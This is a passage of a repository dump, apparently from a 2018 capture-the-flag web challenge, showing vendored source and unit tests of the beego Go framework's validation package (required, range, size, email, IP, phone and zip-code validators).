Phone(obj interface{}, key string) *Result {\n\treturn v.apply(Phone{Mobile{Match: Match{Regexp: mobilePattern}},\n\t\tTel{Match: Match{Regexp: telPattern}}, key}, obj)\n}\n\n// ZipCode Test that the obj is chinese zip code if type is string\nfunc (v *Validation) ZipCode(obj interface{}, key string) *Result {\n\treturn v.apply(ZipCode{Match{Regexp: zipCodePattern}, key}, obj)\n}\n\nfunc (v *Validation) apply(chk Validator, obj interface{}) *Result {\n\tif chk.IsSatisfied(obj) {\n\t\treturn &Result{Ok: true}\n\t}\n\n\t// Add the error to the validation context.\n\tkey := chk.GetKey()\n\tName := key\n\tField := \"\"\n\n\tparts := strings.Split(key, \".\")\n\tif len(parts) == 2 {\n\t\tField = parts[0]\n\t\tName = parts[1]\n\t}\n\n\terr := &Error{\n\t\tMessage:    chk.DefaultMessage(),\n\t\tKey:        key,\n\t\tName:       Name,\n\t\tField:      Field,\n\t\tValue:      obj,\n\t\tTmpl:       MessageTmpls[Name],\n\t\tLimitValue: chk.GetLimitValue(),\n\t}\n\tv.setError(err)\n\n\t// Also return it in the result.\n\treturn &Result{\n\t\tOk:    false,\n\t\tError: err,\n\t}\n}\n\n// AddError adds independent error message for the provided key\nfunc (v *Validation) AddError(key, message string) {\n\tName := key\n\tField := \"\"\n\n\tparts := strings.Split(key, \".\")\n\tif len(parts) == 2 {\n\t\tField = parts[0]\n\t\tName = parts[1]\n\t}\n\n\terr := &Error{\n\t\tMessage: message,\n\t\tKey:     key,\n\t\tName:    Name,\n\t\tField:   Field,\n\t}\n\tv.setError(err)\n}\n\nfunc (v *Validation) setError(err *Error) {\n\tv.Errors = append(v.Errors, err)\n\tif v.ErrorsMap == nil {\n\t\tv.ErrorsMap = make(map[string][]*Error)\n\t}\n\tif _, ok := v.ErrorsMap[err.Field]; !ok {\n\t\tv.ErrorsMap[err.Field] = []*Error{}\n\t}\n\tv.ErrorsMap[err.Field] = append(v.ErrorsMap[err.Field], err)\n}\n\n// SetError Set error message for one field in ValidationError\nfunc (v *Validation) SetError(fieldName string, errMsg string) *Error {\n\terr := &Error{Key: fieldName, Field: fieldName, Tmpl: errMsg, Message: errMsg}\n\tv.setError(err)\n\treturn err\n}\n\n// Check Apply a group of validators to a field, in order, and return the\n// ValidationResult from the first one that fails, or the last one that\n// succeeds.\nfunc (v *Validation) Check(obj interface{}, checks ...Validator) *Result {\n\tvar result *Result\n\tfor _, check := range checks {\n\t\tresult = v.apply(check, obj)\n\t\tif !result.Ok {\n\t\t\treturn result\n\t\t}\n\t}\n\treturn result\n}\n\n// Valid Validate a struct.\n// the obj parameter must be a struct or a struct pointer\nfunc (v *Validation) Valid(obj interface{}) (b bool, err error) {\n\tobjT := reflect.TypeOf(obj)\n\tobjV := reflect.ValueOf(obj)\n\tswitch {\n\tcase isStruct(objT):\n\tcase isStructPtr(objT):\n\t\tobjT = objT.Elem()\n\t\tobjV = objV.Elem()\n\tdefault:\n\t\terr = fmt.Errorf(\"%v must be a struct or a struct pointer\", obj)\n\t\treturn\n\t}\n\n\tfor i := 0; i < objT.NumField(); i++ {\n\t\tvar vfs []ValidFunc\n\t\tif vfs, err = getValidFuncs(objT.Field(i)); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tvar hasReuired bool\n\t\tfor _, vf := range vfs {\n\t\t\tif vf.Name == \"Required\" {\n\t\t\t\thasReuired = true\n\t\t\t}\n\n\t\t\tif !hasReuired && v.RequiredFirst && len(objV.Field(i).String()) == 0 {\n\t\t\t\tif _, ok := CanSkipFuncs[vf.Name]; ok {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif _, err = funcs.Call(vf.Name,\n\t\t\t\tmergeParam(v, objV.Field(i).Interface(), vf.Params)...); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tif !v.HasErrors() {\n\t\tif form, ok := obj.(ValidFormer); ok {\n\t\t\tform.Valid(v)\n\t\t}\n\t}\n\n\treturn !v.HasErrors(), nil\n}\n\n// RecursiveValid Recursively validate a struct.\n// Step1: Validate by v.Valid\n// Step2: If pass on step1, then reflect obj's fields\n// Step3: Do the Recursively validation to all struct or struct pointer fields\nfunc (v *Validation) RecursiveValid(objc interface{}) (bool, error) {\n\t//Step 1: validate obj itself firstly\n\t// fails if objc is not struct\n\tpass, err := v.Valid(objc)\n\tif err != nil || !pass {\n\t\treturn pass, err // Stop recursive validation\n\t}\n\t// Step 2: Validate struct's struct fields\n\tobjT := reflect.TypeOf(objc)\n\tobjV := reflect.ValueOf(objc)\n\n\tif isStructPtr(objT) {\n\t\tobjT = objT.Elem()\n\t\tobjV = objV.Elem()\n\t}\n\n\tfor i := 0; i < objT.NumField(); i++ {\n\n\t\tt := objT.Field(i).Type\n\n\t\t// Recursive applies to struct or pointer to structs fields\n\t\tif isStruct(t) || isStructPtr(t) {\n\t\t\t// Step 3: do the recursive validation\n\t\t\t// Only valid the Public field recursively\n\t\t\tif objV.Field(i).CanInterface() {\n\t\t\t\tpass, err = v.RecursiveValid(objV.Field(i).Interface())\n\t\t\t}\n\t\t}\n\t}\n\treturn pass, err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validation_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage validation\n\nimport (\n\t\"regexp\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestRequired(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Required(nil, \"nil\").Ok {\n\t\tt.Error(\"nil object should be false\")\n\t}\n\tif !valid.Required(true, \"bool\").Ok {\n\t\tt.Error(\"Bool value should always return true\")\n\t}\n\tif !valid.Required(false, \"bool\").Ok {\n\t\tt.Error(\"Bool value should always return true\")\n\t}\n\tif valid.Required(\"\", \"string\").Ok {\n\t\tt.Error(\"\\\"'\\\" string should be false\")\n\t}\n\tif valid.Required(\" \", \"string\").Ok {\n\t\tt.Error(\"\\\" \\\" string should be false\") // For #2361\n\t}\n\tif valid.Required(\"\\n\", \"string\").Ok {\n\t\tt.Error(\"new line string should be false\") // For #2361\n\t}\n\tif !valid.Required(\"astaxie\", \"string\").Ok {\n\t\tt.Error(\"string should be true\")\n\t}\n\tif valid.Required(0, \"zero\").Ok {\n\t\tt.Error(\"Integer should not be equal 0\")\n\t}\n\tif !valid.Required(1, \"int\").Ok {\n\t\tt.Error(\"Integer except 0 should be true\")\n\t}\n\tif !valid.Required(time.Now(), \"time\").Ok {\n\t\tt.Error(\"time should be true\")\n\t}\n\tif valid.Required([]string{}, \"emptySlice\").Ok {\n\t\tt.Error(\"empty slice should be false\")\n\t}\n\tif !valid.Required([]interface{}{\"ok\"}, \"slice\").Ok {\n\t\tt.Error(\"slice should be true\")\n\t}\n}\n\nfunc TestMin(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Min(-1, 0, \"min0\").Ok {\n\t\tt.Error(\"-1 is less than the minimum value of 0 should be false\")\n\t}\n\tif !valid.Min(1, 0, \"min0\").Ok {\n\t\tt.Error(\"1 is greater or equal than the minimum value of 0 should be true\")\n\t}\n}\n\nfunc TestMax(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Max(1, 0, \"max0\").Ok {\n\t\tt.Error(\"1 is greater than the minimum value of 0 should be false\")\n\t}\n\tif !valid.Max(-1, 0, \"max0\").Ok {\n\t\tt.Error(\"-1 is less or equal than the maximum value of 0 should be true\")\n\t}\n}\n\nfunc TestRange(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Range(-1, 0, 1, \"range0_1\").Ok {\n\t\tt.Error(\"-1 is between 0 and 1 should be false\")\n\t}\n\tif !valid.Range(1, 0, 1, \"range0_1\").Ok {\n\t\tt.Error(\"1 is between 0 and 1 should be true\")\n\t}\n}\n\nfunc TestMinSize(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.MinSize(\"\", 1, \"minSize1\").Ok {\n\t\tt.Error(\"the length of \\\"\\\" is less than the minimum value of 1 should be false\")\n\t}\n\tif !valid.MinSize(\"ok\", 1, \"minSize1\").Ok {\n\t\tt.Error(\"the length of \\\"ok\\\" is greater or equal than the minimum value of 1 should be true\")\n\t}\n\tif valid.MinSize([]string{}, 1, \"minSize1\").Ok {\n\t\tt.Error(\"the length of empty slice is less than the minimum value of 1 should be false\")\n\t}\n\tif !valid.MinSize([]interface{}{\"ok\"}, 1, \"minSize1\").Ok {\n\t\tt.Error(\"the length of [\\\"ok\\\"] is greater or equal than the minimum value of 1 should be true\")\n\t}\n}\n\nfunc TestMaxSize(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.MaxSize(\"ok\", 1, \"maxSize1\").Ok {\n\t\tt.Error(\"the length of \\\"ok\\\" is greater than the maximum value of 1 should be false\")\n\t}\n\tif !valid.MaxSize(\"\", 1, \"maxSize1\").Ok {\n\t\tt.Error(\"the length of \\\"\\\" is less or equal than the maximum value of 1 should be true\")\n\t}\n\tif valid.MaxSize([]interface{}{\"ok\", false}, 1, \"maxSize1\").Ok {\n\t\tt.Error(\"the length of [\\\"ok\\\", false] is greater than the maximum value of 1 should be false\")\n\t}\n\tif !valid.MaxSize([]string{}, 1, \"maxSize1\").Ok {\n\t\tt.Error(\"the length of empty slice is less or equal than the maximum value of 1 should be true\")\n\t}\n}\n\nfunc TestLength(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Length(\"\", 1, \"length1\").Ok {\n\t\tt.Error(\"the length of \\\"\\\" must equal 1 should be false\")\n\t}\n\tif !valid.Length(\"1\", 1, \"length1\").Ok {\n\t\tt.Error(\"the length of \\\"1\\\" must equal 1 should be true\")\n\t}\n\tif valid.Length([]string{}, 1, \"length1\").Ok {\n\t\tt.Error(\"the length of empty slice must equal 1 should be false\")\n\t}\n\tif !valid.Length([]interface{}{\"ok\"}, 1, \"length1\").Ok {\n\t\tt.Error(\"the length of [\\\"ok\\\"] must equal 1 should be true\")\n\t}\n}\n\nfunc TestAlpha(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Alpha(\"a,1-@ $\", \"alpha\").Ok {\n\t\tt.Error(\"\\\"a,1-@ $\\\" are valid alpha characters should be false\")\n\t}\n\tif !valid.Alpha(\"abCD\", \"alpha\").Ok {\n\t\tt.Error(\"\\\"abCD\\\" are valid alpha characters should be true\")\n\t}\n}\n\nfunc TestNumeric(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Numeric(\"a,1-@ $\", \"numeric\").Ok {\n\t\tt.Error(\"\\\"a,1-@ $\\\" are valid numeric characters should be false\")\n\t}\n\tif !valid.Numeric(\"1234\", \"numeric\").Ok {\n\t\tt.Error(\"\\\"1234\\\" are valid numeric characters should be true\")\n\t}\n}\n\nfunc TestAlphaNumeric(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.AlphaNumeric(\"a,1-@ $\", \"alphaNumeric\").Ok {\n\t\tt.Error(\"\\\"a,1-@ $\\\" are valid alpha or numeric characters should be false\")\n\t}\n\tif !valid.AlphaNumeric(\"1234aB\", \"alphaNumeric\").Ok {\n\t\tt.Error(\"\\\"1234aB\\\" are valid alpha or numeric characters should be true\")\n\t}\n}\n\nfunc TestMatch(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Match(\"suchuangji@gmail\", regexp.MustCompile(`^\\w+@\\w+\\.\\w+$`), \"match\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail\\\" match \\\"^\\\\w+@\\\\w+\\\\.\\\\w+$\\\"  should be false\")\n\t}\n\tif !valid.Match(\"suchuangji@gmail.com\", regexp.MustCompile(`^\\w+@\\w+\\.\\w+$`), \"match\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail\\\" match \\\"^\\\\w+@\\\\w+\\\\.\\\\w+$\\\"  should be true\")\n\t}\n}\n\nfunc TestNoMatch(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.NoMatch(\"123@gmail\", regexp.MustCompile(`[^\\w\\d]`), \"nomatch\").Ok {\n\t\tt.Error(\"\\\"123@gmail\\\" not match \\\"[^\\\\w\\\\d]\\\"  should be false\")\n\t}\n\tif !valid.NoMatch(\"123gmail\", regexp.MustCompile(`[^\\w\\d]`), \"match\").Ok {\n\t\tt.Error(\"\\\"123@gmail\\\" not match \\\"[^\\\\w\\\\d@]\\\"  should be true\")\n\t}\n}\n\nfunc TestAlphaDash(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.AlphaDash(\"a,1-@ $\", \"alphaDash\").Ok {\n\t\tt.Error(\"\\\"a,1-@ $\\\" are valid alpha or numeric or dash(-_) characters should be false\")\n\t}\n\tif !valid.AlphaDash(\"1234aB-_\", \"alphaDash\").Ok {\n\t\tt.Error(\"\\\"1234aB\\\" are valid alpha or numeric or dash(-_) characters should be true\")\n\t}\n}\n\nfunc TestEmail(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Email(\"not@a email\", \"email\").Ok {\n\t\tt.Error(\"\\\"not@a email\\\" is a valid email address should be false\")\n\t}\n\tif !valid.Email(\"suchuangji@gmail.com\", \"email\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail.com\\\" is a valid email address should be true\")\n\t}\n\tif valid.Email(\"@suchuangji@gmail.com\", \"email\").Ok {\n\t\tt.Error(\"\\\"@suchuangji@gmail.com\\\" is a valid email address should be false\")\n\t}\n\tif valid.Email(\"suchuangji@gmail.com ok\", \"email\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail.com ok\\\" is a valid email address should be false\")\n\t}\n}\n\nfunc TestIP(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.IP(\"11.255.255.256\", \"IP\").Ok {\n\t\tt.Error(\"\\\"11.255.255.256\\\" is a valid ip address should be false\")\n\t}\n\tif !valid.IP(\"01.11.11.11\", \"IP\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail.com\\\" is a valid ip address should be true\")\n\t}\n}\n\nfunc TestBase64(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Base64(\"suchuangji@gmail.com\", \"base64\").Ok {\n\t\tt.Error(\"\\\"suchuangji@gmail.com\\\" are a valid base64 characters should be false\")\n\t}\n\tif !valid.Base64(\"c3VjaHVhbmdqaUBnbWFpbC5jb20=\", \"base64\").Ok {\n\t\tt.Error(\"\\\"c3VjaHVhbmdqaUBnbWFpbC5jb20=\\\" are a valid base64 characters should be true\")\n\t}\n}\n\nfunc TestMobile(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Mobile(\"19800008888\", \"mobile\").Ok {\n\t\tt.Error(\"\\\"19800008888\\\" is a valid mobile phone number should be false\")\n\t}\n\tif !valid.Mobile(\"18800008888\", \"mobile\").Ok {\n\t\tt.Error(\"\\\"18800008888\\\" is a valid mobile phone number should be true\")\n\t}\n\tif !valid.Mobile(\"18000008888\", \"mobile\").Ok {\n\t\tt.Error(\"\\\"18000008888\\\" is a valid mobile phone number should be true\")\n\t}\n\tif !valid.Mobile(\"8618300008888\", \"mobile\").Ok {\n\t\tt.Error(\"\\\"8618300008888\\\" is a valid mobile phone number should be true\")\n\t}\n\tif !valid.Mobile(\"+8614700008888\", \"mobile\").Ok {\n\t\tt.Error(\"\\\"+8614700008888\\\" is a valid mobile phone number should be true\")\n\t}\n}\n\nfunc TestTel(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Tel(\"222-00008888\", \"telephone\").Ok {\n\t\tt.Error(\"\\\"222-00008888\\\" is a valid telephone number should be false\")\n\t}\n\tif !valid.Tel(\"022-70008888\", \"telephone\").Ok {\n\t\tt.Error(\"\\\"022-70008888\\\" is a valid telephone number should be true\")\n\t}\n\tif !valid.Tel(\"02270008888\", \"telephone\").Ok {\n\t\tt.Error(\"\\\"02270008888\\\" is a valid telephone number should be true\")\n\t}\n\tif !valid.Tel(\"70008888\", \"telephone\").Ok {\n\t\tt.Error(\"\\\"70008888\\\" is a valid telephone number should be true\")\n\t}\n}\n\nfunc TestPhone(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.Phone(\"222-00008888\", \"phone\").Ok {\n\t\tt.Error(\"\\\"222-00008888\\\" is a valid phone number should be false\")\n\t}\n\tif !valid.Mobile(\"+8614700008888\", \"phone\").Ok {\n\t\tt.Error(\"\\\"+8614700008888\\\" is a valid phone number should be true\")\n\t}\n\tif !valid.Tel(\"02270008888\", \"phone\").Ok {\n\t\tt.Error(\"\\\"02270008888\\\" is a valid phone number should be true\")\n\t}\n}\n\nfunc TestZipCode(t *testing.T) {\n\tvalid := Validation{}\n\n\tif valid.ZipCode(\"\", \"zipcode\").Ok {\n\t\tt.Error(\"\\\"00008888\\\" is a valid zipcode should be false\")\n\t}\n\tif !valid.ZipCode(\"536000\", \"zipcode\").Ok {\n\t\tt.Error(\"\\\"536000\\\" is a valid zipcode should be true\")\n\t}\n}\n\nfunc TestValid(t *testing.T) {\n\ttype user struct {\n\t\tID   int\n\t\tName string `valid:\"Required;Match(/^(test)?\\\\w*@(/test/);com$/)\"`\n\t\tAge  int    `valid:\"Required;Range(1, 140)\"`\n\t}\n\tvalid := Validation{}\n\n\tu := user{Name: \"test@/test/;com\", Age: 40}\n\tb, err := valid.Valid(u)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !b {\n\t\tt.Error(\"validation should be passed\")\n\t}\n\n\tuptr := &user{Name: \"test\", Age: 40}\n\tvalid.Clear()\n\tb, err = valid.Valid(uptr)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif b {\n\t\tt.Error(\"validation should not be passed\")\n\t}\n\tif len(valid.Errors) != 1 {\n\t\tt.Fatalf(\"valid errors len should be 1 but got %d\", len(valid.Errors))\n\t}\n\tif valid.Errors[0].Key != \"Name.Match\" {\n\t\tt.Errorf(\"Message key should be `Name.Match` but got %s\", valid.Errors[0].Key)\n\t}\n\n\tu = user{Name: \"test@/test/;com\", Age: 180}\n\tvalid.Clear()\n\tb, err = valid.Valid(u)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif b {\n\t\tt.Error(\"validation should not be passed\")\n\t}\n\tif len(valid.Errors) != 1 {\n\t\tt.Fatalf(\"valid errors len should be 1 but got %d\", len(valid.Errors))\n\t}\n\tif valid.Errors[0].Key != \"Age.Range\" {\n\t\tt.Errorf(\"Message key should be `Name.Match` but got %s\", valid.Errors[0].Key)\n\t}\n}\n\nfunc TestRecursiveValid(t *testing.T) {\n\ttype User struct {\n\t\tID   int\n\t\tName string `valid:\"Required;Match(/^(test)?\\\\w*@(/test/);com$/)\"`\n\t\tAge  int    `valid:\"Required;Range(1, 140)\"`\n\t}\n\n\ttype AnonymouseUser struct {\n\t\tID2   int\n\t\tName2 string `valid:\"Required;Match(/^(test)?\\\\w*@(/test/);com$/)\"`\n\t\tAge2  int    `valid:\"Required;Range(1, 140)\"`\n\t}\n\n\ttype Account struct {\n\t\tPassword string `valid:\"Required\"`\n\t\tU        User\n\t\tAnonymouseUser\n\t}\n\tvalid := Validation{}\n\n\tu := Account{Password: \"abc123_\", U: User{}}\n\tb, err := valid.RecursiveValid(u)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif b {\n\t\tt.Error(\"validation should not be passed\")\n\t}\n}\n\nfunc TestSkipValid(t *testing.T) {\n\ttype User struct {\n\t\tID int\n\n\t\tEmail    string `valid:\"Email\"`\n\t\tReqEmail string `valid:\"Required;Email\"`\n\n\t\tIP    string `valid:\"IP\"`\n\t\tReqIP string `valid:\"Required;IP\"`\n\n\t\tMobile    string `valid:\"Mobile\"`\n\t\tReqMobile string `valid:\"Required;Mobile\"`\n\n\t\tTel    string `valid:\"Tel\"`\n\t\tReqTel string `valid:\"Required;Tel\"`\n\n\t\tPhone    string `valid:\"Phone\"`\n\t\tReqPhone string `valid:\"Required;Phone\"`\n\n\t\tZipCode    string `valid:\"ZipCode\"`\n\t\tReqZipCode string `valid:\"Required;ZipCode\"`\n\t}\n\n\tu := User{\n\t\tReqEmail:   \"a@a.com\",\n\t\tReqIP:      \"127.0.0.1\",\n\t\tReqMobile:  \"18888888888\",\n\t\tReqTel:     \"02088888888\",\n\t\tReqPhone:   \"02088888888\",\n\t\tReqZipCode: \"510000\",\n\t}\n\n\tvalid := Validation{}\n\tb, err := valid.Valid(u)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif b {\n\t\tt.Fatal(\"validation should not be passed\")\n\t}\n\n\tvalid = Validation{RequiredFirst: true}\n\tb, err = valid.Valid(u)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !b {\n\t\tt.Fatal(\"validation should be passed\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validators.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage validation\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\t\"unicode/utf8\"\n)\n\n// CanSkipFuncs will skip valid if RequiredFirst is true and the struct field's value is empty\nvar CanSkipFuncs = map[string]struct{}{\n\t\"Email\":   {},\n\t\"IP\":      {},\n\t\"Mobile\":  {},\n\t\"Tel\":     {},\n\t\"Phone\":   {},\n\t\"ZipCode\": {},\n}\n\n// MessageTmpls store commond validate template\nvar MessageTmpls = map[string]string{\n\t\"Required\":     \"Can not be empty\",\n\t\"Min\":          \"Minimum is %d\",\n\t\"Max\":          \"Maximum is %d\",\n\t\"Range\":        \"Range is %d to %d\",\n\t\"MinSize\":      \"Minimum size is %d\",\n\t\"MaxSize\":      \"Maximum size is %d\",\n\t\"Length\":       \"Required length is %d\",\n\t\"Alpha\":        \"Must be valid alpha characters\",\n\t\"Numeric\":      \"Must be valid numeric characters\",\n\t\"AlphaNumeric\": \"Must be valid alpha or numeric characters\",\n\t\"Match\":        \"Must match %s\",\n\t\"NoMatch\":      \"Must not match %s\",\n\t\"AlphaDash\":    \"Must be valid alpha or numeric or dash(-_) characters\",\n\t\"Email\":        \"Must be a valid email address\",\n\t\"IP\":           \"Must be a valid ip address\",\n\t\"Base64\":       \"Must be valid base64 characters\",\n\t\"Mobile\":       \"Must be valid mobile number\",\n\t\"Tel\":          \"Must be valid telephone number\",\n\t\"Phone\":        \"Must be valid telephone or mobile phone number\",\n\t\"ZipCode\":      \"Must be valid zipcode\",\n}\n\n// SetDefaultMessage set default messages\n// if not set, the default messages are\n//  \"Required\":     \"Can not be empty\",\n//  \"Min\":          \"Minimum is %d\",\n//  \"Max\":          \"Maximum is %d\",\n//  \"Range\":        \"Range is %d to %d\",\n//  \"MinSize\":      \"Minimum size is %d\",\n//  \"MaxSize\":      \"Maximum size is %d\",\n//  \"Length\":       \"Required length is %d\",\n//  \"Alpha\":        \"Must be valid alpha characters\",\n//  \"Numeric\":      \"Must be valid numeric characters\",\n//  \"AlphaNumeric\": \"Must be valid alpha or numeric characters\",\n//  \"Match\":        \"Must match %s\",\n//  \"NoMatch\":      \"Must not match %s\",\n//  \"AlphaDash\":    \"Must be valid alpha or numeric or dash(-_) characters\",\n//  \"Email\":        \"Must be a valid email address\",\n//  \"IP\":           \"Must be a valid ip address\",\n//  \"Base64\":       \"Must be valid base64 characters\",\n//  \"Mobile\":       \"Must be valid mobile number\",\n//  \"Tel\":          \"Must be valid telephone number\",\n//  \"Phone\":        \"Must be valid telephone or mobile phone number\",\n//  \"ZipCode\":      \"Must be valid zipcode\",\nfunc SetDefaultMessage(msg map[string]string) {\n\tif len(msg) == 0 {\n\t\treturn\n\t}\n\n\tfor name := range msg {\n\t\tMessageTmpls[name] = msg[name]\n\t}\n}\n\n// Validator interface\ntype Validator interface {\n\tIsSatisfied(interface{}) bool\n\tDefaultMessage() string\n\tGetKey() string\n\tGetLimitValue() interface{}\n}\n\n// Required struct\ntype Required struct {\n\tKey string\n}\n\n// IsSatisfied judge whether obj has value\nfunc (r Required) IsSatisfied(obj interface{}) bool {\n\tif obj == nil {\n\t\treturn false\n\t}\n\n\tif str, ok := obj.(string); ok {\n\t\treturn len(strings.TrimSpace(str)) > 0\n\t}\n\tif _, ok := obj.(bool); ok {\n\t\treturn true\n\t}\n\tif i, ok := obj.(int); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(uint); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(int8); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(uint8); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(int16); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(uint16); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(uint32); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(int32); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(int64); ok {\n\t\treturn i != 0\n\t}\n\tif i, ok := obj.(uint64); ok {\n\t\treturn i != 0\n\t}\n\tif t, ok := obj.(time.Time); ok {\n\t\treturn !t.IsZero()\n\t}\n\tv := reflect.ValueOf(obj)\n\tif v.Kind() == reflect.Slice {\n\t\treturn v.Len() > 0\n\t}\n\treturn true\n}\n\n// DefaultMessage return the default error message\nfunc (r Required) DefaultMessage() string {\n\treturn MessageTmpls[\"Required\"]\n}\n\n// GetKey return the r.Key\nfunc (r Required) GetKey() string {\n\treturn r.Key\n}\n\n// GetLimitValue return nil now\nfunc (r Required) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// Min check struct\ntype Min struct {\n\tMin int\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\n// not support int64 on 32-bit platform\nfunc (m Min) IsSatisfied(obj interface{}) bool {\n\tvar v int\n\tswitch obj.(type) {\n\tcase int64:\n\t\tif wordsize == 32 {\n\t\t\treturn false\n\t\t}\n\t\tv = int(obj.(int64))\n\tcase int:\n\t\tv = obj.(int)\n\tcase int32:\n\t\tv = int(obj.(int32))\n\tcase int16:\n\t\tv = int(obj.(int16))\n\tcase int8:\n\t\tv = int(obj.(int8))\n\tdefault:\n\t\treturn false\n\t}\n\n\treturn v >= m.Min\n}\n\n// DefaultMessage return the default min error message\nfunc (m Min) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"Min\"], m.Min)\n}\n\n// GetKey return the m.Key\nfunc (m Min) GetKey() string {\n\treturn m.Key\n}\n\n// GetLimitValue return the limit value, Min\nfunc (m Min) GetLimitValue() interface{} {\n\treturn m.Min\n}\n\n// Max validate struct\ntype Max struct {\n\tMax int\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\n// not support int64 on 32-bit platform\nfunc (m Max) IsSatisfied(obj interface{}) bool {\n\tvar v int\n\tswitch obj.(type) {\n\tcase int64:\n\t\tif wordsize == 32 {\n\t\t\treturn false\n\t\t}\n\t\tv = int(obj.(int64))\n\tcase int:\n\t\tv = obj.(int)\n\tcase int32:\n\t\tv = int(obj.(int32))\n\tcase int16:\n\t\tv = int(obj.(int16))\n\tcase int8:\n\t\tv = int(obj.(int8))\n\tdefault:\n\t\treturn false\n\t}\n\n\treturn v <= m.Max\n}\n\n// DefaultMessage return the default max error message\nfunc (m Max) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"Max\"], m.Max)\n}\n\n// GetKey return the m.Key\nfunc (m Max) GetKey() string {\n\treturn m.Key\n}\n\n// GetLimitValue return the limit value, Max\nfunc (m Max) GetLimitValue() interface{} {\n\treturn m.Max\n}\n\n// Range Requires an integer to be within Min, Max inclusive.\ntype Range struct {\n\tMin\n\tMax\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\n// not support int64 on 32-bit platform\nfunc (r Range) IsSatisfied(obj interface{}) bool {\n\treturn r.Min.IsSatisfied(obj) && r.Max.IsSatisfied(obj)\n}\n\n// DefaultMessage return the default Range error message\nfunc (r Range) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"Range\"], r.Min.Min, r.Max.Max)\n}\n\n// GetKey return the m.Key\nfunc (r Range) GetKey() string {\n\treturn r.Key\n}\n\n// GetLimitValue return the limit value, Max\nfunc (r Range) GetLimitValue() interface{} {\n\treturn []int{r.Min.Min, r.Max.Max}\n}\n\n// MinSize Requires an array or string to be at least a given length.\ntype MinSize struct {\n\tMin int\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (m MinSize) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\treturn utf8.RuneCountInString(str) >= m.Min\n\t}\n\tv := reflect.ValueOf(obj)\n\tif v.Kind() == reflect.Slice {\n\t\treturn v.Len() >= m.Min\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default MinSize error message\nfunc (m MinSize) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"MinSize\"], m.Min)\n}\n\n// GetKey return the m.Key\nfunc (m MinSize) GetKey() string {\n\treturn m.Key\n}\n\n// 